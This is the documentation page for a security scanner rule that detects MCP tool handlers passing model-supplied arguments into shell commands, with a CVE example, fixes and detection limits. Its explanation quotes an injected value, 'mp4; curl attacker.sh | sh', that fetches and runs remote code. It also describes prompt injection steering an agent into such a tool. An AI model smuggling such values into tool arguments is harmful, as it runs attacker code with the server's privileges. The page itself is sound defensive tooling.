Skip to content

AAK-MCP-TOOL-ARG-OSCMD-001: Tool handler passes a model-supplied argument into an OS command

Severity
CRITICAL
Category
Tool Poisoning (tool-poisoning)
Scanner
agent_audit_kit/scanners/typescript_pattern_scan.py
Auto-fixable
No.
SARIF name
McpToolArgOsCommand

What it detects

An MCP tool handler builds a shell command string out of a value that arrives in the tool-call arguments object, then hands that string to a process API — child_process.exec / execSync, or spawn / execFile with shell: true. Because the string is composed at the call site (a template literal with ${...}, or a concatenation) the argument is parsed by a shell, so a value such as mp4; curl attacker.sh | sh runs as a second command. This is the shape of CVE-2026-78430 (mcp-ffmpeg-helper 0.1.0 / 0.1.1 / 0.2.1, handleToolCall in src/tools/handlers.ts, CWE-77/CWE-78), which carries a CVSS 3.1 base of only 5.3 because the vector requires a local attacker — but in an agent pipeline the local caller IS the model, and any upstream prompt injection reaches this sink with the server's own privileges, which is why this rule is CRITICAL rather than MEDIUM. The surface is the handler, not the launcher: AAK-MCP-002 and the AAK-MCP-STDIO-CMD-INJ-* family inspect the configured server command before the process starts, whereas this fires on the request path. Detection is a TypeScript/JavaScript source pattern and is deliberately narrower than AAK-TAINT-001, which reports any child_process call in an MCP file without checking how the command was built; where this rule fires, that one is suppressed on the same line so one defect is reported once.

How to fix

Pass arguments as an argv array to the process API and never as a composed shell string: execFile('ffmpeg', ['-i', input, '-f', format]) rather than exec(ffmpeg -i ${input} -f ${format}), and leave shell unset (it defaults to false). Validate the argument against an allowlist of expected values before it reaches the process boundary — for a codec or container format that is a fixed, short list, so an allowlist is exact rather than a filter that has to anticipate every metacharacter.

To confirm the finding is gone, report only this rule:

agent-audit-kit scan . --rules AAK-MCP-TOOL-ARG-OSCMD-001

Limitations

Reads .ts, .tsx, .mts and .cts files that carry a tool-call marker (handleToolCall, CallToolRequestSchema, setRequestHandler, server.tool, @tool, tools/call), and .js, .jsx, .mjs and .cjs files that call setRequestHandler(CallToolRequestSchema, ...) or carry handleToolCall, server.tool or @tool: in JavaScript a client sends tools/call, registers handlers of its own with setRequestHandler and imports CallToolRequestSchema to build a request, so none of these alone makes a tool handler. It reports exec or execSync whose first argument is a template literal with ${} or a concatenation written inside the call. A command built into a variable first and then passed as exec(command) is not reported, and neither is a JavaScript dispatcher whose only marker is the tools/call string, nor a server whose only tool registration is server.registerTool(, which is a marker in neither language. A JavaScript file is skipped as a bundle when its name holds .min., or when it is over 10,000 characters and its median non-blank line (the longer of the middle two, for an even number) is over 500 characters long or most of it is lines over 5,000 characters in which ( and ; make up at least 1%. So a one-line bundle of 10,000 characters or fewer is read, and a hand-written file most of whose text is one long line of inlined data with ; in it, such as a stylesheet or an SVG, is skipped, and its findings with it.

References


All rules. This page is generated from the rule registry when the documentation is built; to change it, change the rule in agent_audit_kit/rules/builtin.py. To give the rule a hand-written write-up, add docs/rules/AAK-MCP-TOOL-ARG-OSCMD-001.md: the page then shows that text, with the registry reference appended under it.